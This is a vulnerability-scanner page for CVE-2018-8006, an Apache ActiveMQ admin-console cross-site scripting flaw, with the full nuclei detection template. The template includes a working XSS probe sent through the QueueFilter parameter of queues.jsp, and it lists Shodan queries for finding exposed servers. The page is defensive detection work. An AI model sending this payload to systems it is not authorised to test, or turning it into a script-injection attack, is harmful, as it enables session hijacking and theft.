Apache ActiveMQ <=5.15.5 - Cross-Site Scripting

mediumseverity

6.1CVSS score

55.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Apache ActiveMQ versions 5.0.0 to 5.15.5 are vulnerable to cross-site scripting via the web based administration console on the queue.jsp page. The root cause of this issue is improper data filtering of the QueueFilter parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade Apache ActiveMQ to a version higher than 5.15.5 or apply the necessary patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68
Positive when: contains "\"><script>alert(\"1\")</script>" AND contains in header "/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-8006 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-8006

info:
  name: Apache ActiveMQ <=5.15.5 - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: Apache ActiveMQ versions 5.0.0 to 5.15.5 are vulnerable to cross-site scripting via the web based administration console on the queue.jsp page. The root cause of this issue is improper data filtering of the QueueFilter parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Apache ActiveMQ to a version higher than 5.15.5 or apply the necessary patches provided by the vendor.
  reference:
    - http://activemq.apache.org/security-advisories.data/CVE-2018-8006-announcement.txt
    - https://lists.apache.org/thread.html/2b5c0039197a4949f29e1e2c9441ab38d242946b966f61c110808bcc@%3Ccommits.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/fcbe6ad00f1de142148c20d813fae3765dc4274955e3e2f3ca19ff7b@%3Cdev.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/a859563f05fbe7c31916b3178c2697165bd9bbf5a65d1cf62aef27d2@%3Ccommits.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/03f91b1fb85686a848cee6b90112cf6059bd1b21b23bacaa11a962e1@%3Cdev.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/3f1e41bc9153936e065ca3094bd89ff8167ad2d39ac0b410f24382d2@%3Cgitbox.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/c0ec53b72b3240b187afb1cf67e4309a9e5f607282010aa196734814@%3Cgitbox.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/rb698ed085f79e56146ca24ab359c9ef95846618675ea1ef402e04a6d@%3Ccommits.activemq.apache.org%3E
    - https://lists.apache.org/thread.html/r946488fb942fd35c6a6e0359f52504a558ed438574a8f14d36d7dcd7@%3Ccommits.activemq.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8006
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-8006
    cwe-id: CWE-79
    epss-score: 0.55695
    epss-percentile: 0.99047
    cpe: cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: activemq
    shodan-query:
      - cpe:"cpe:2.3:a:apache:activemq"
      - product:"activemq openwire transport"
  tags: cve2018,cve,apache,activemq,xss,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"><script>alert("1")</script>'

      - type: word
        part: header
        words:
          - "/html"

      - type: status
        status:
          - 200

References

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